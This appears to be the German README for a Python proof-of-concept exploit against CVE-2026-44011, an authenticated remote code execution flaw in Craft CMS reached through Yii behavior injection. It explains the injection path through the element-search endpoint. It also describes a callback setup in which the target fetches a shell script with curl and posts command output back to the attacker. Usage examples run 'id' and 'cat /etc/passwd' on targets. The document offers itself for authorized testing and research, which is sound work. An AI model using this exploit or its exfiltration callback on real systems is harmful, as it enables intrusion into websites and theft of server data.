
Python-Proof-of-Concept-Exploit für CVE-2026-44011, eine authentifizierte RCE in Craft CMS über Yii-Behavior-Injection, mit zweistufiger Erfassung der Befehlsausgabe.
Authentifizierte RCE in Craft CMS über Yii Behavior Injection.
Betroffen: 4.0.0–4.17.11, 5.0.0–5.9.17
Behoben in: 4.17.12, 5.9.18
Advisory: GHSA-qrgm-p9w5-rrfw
Der Endpunkt /admin/actions/element-search/search akzeptiert einen condition-Parameter, der direkt an ElementCondition::createCondition() übergeben wird, ohne dass zuvor Component::cleanseConfig() aufgerufen wird. Das bedeutet, dass Yii's spezielle Schlüssel zur Objektkonstruktion — __class, as <name> (Behavior anhängen), on <event> (Handler registrieren) — wirksam werden, wenn das FieldLayout-Objekt aus den Request-Daten erstellt wird.
Der Exploit hängt AttributeTypecastBehavior, konfiguriert zum Aufruf von Psy\Readline\Hoa\ConsoleProcessus::execute() (ein PSY/Yii-Internes, das Shell-Befehle ausführt), als dessen Typecast-Callable an. Das Behavior wird beim beforeSave-Event ausgelöst, das Craft während desselben Requests triggert.
Jedes Konto — selbst ein Editor mit geringen Rechten — kann dies tun. Keine Admin-Rechte erforderlich.
Statt einer blinden Reverse Shell verwendet er eine zweistufige Ausgabeerfassung:
curl-Befehl, der ein Shell-Skript von einem lokalen HTTP-Listener abruft, den Sie kontrollierenSie erhalten die Befehlsausgabe direkt im Terminal, kein nc-Listener erforderlich.
requests-Bibliothek (pip install requests)# Basic — run id on the target
python3 exploit.py \
-b http://target.com \
-u [email protected] \
-p 'password123' \
-c 'id'
# Custom control panel path
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'
# Specify your callback address when it can't be inferred
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
-H 10.10.14.5 --listen-port 8080
# Skip TLS verification (self-signed certs)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify
# Skip version check (e.g. version detection fails)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force
Der Callback-Host/Port ist der Ort, an den das Ziel die Ausgabe per POST an Sie zurücksendet. Standardmäßig wird der Host aus Ihrer Route zum Ziel abgeleitet und der Port vom Betriebssystem zugewiesen. Wenn sich das Ziel hinter einem NAT oder VPN befindet, benötigen Sie --callback-host, der auf Ihre erreichbare IP zeigt.
-b / --base-url Target origin (required)
-P / --cp-path Control panel path (default: /admin)
-u / --username Login name or email (required)
-p / --password Password (required)
-c / --command Shell command to execute (required)
-s / --site-id Craft site ID (default: 1)
-e / --element-type Element type for the condition (default: craft\elements\Category)
-t / --timeout Request timeout in seconds (default: 15)
-H / --callback-host Your reachable address for output callbacks
--listen-port Port for output listener (default: OS picks one)
--no-verify Skip TLS cert verification
-F / --force Skip version range check
Nur für autorisierte Sicherheitstests und Forschung.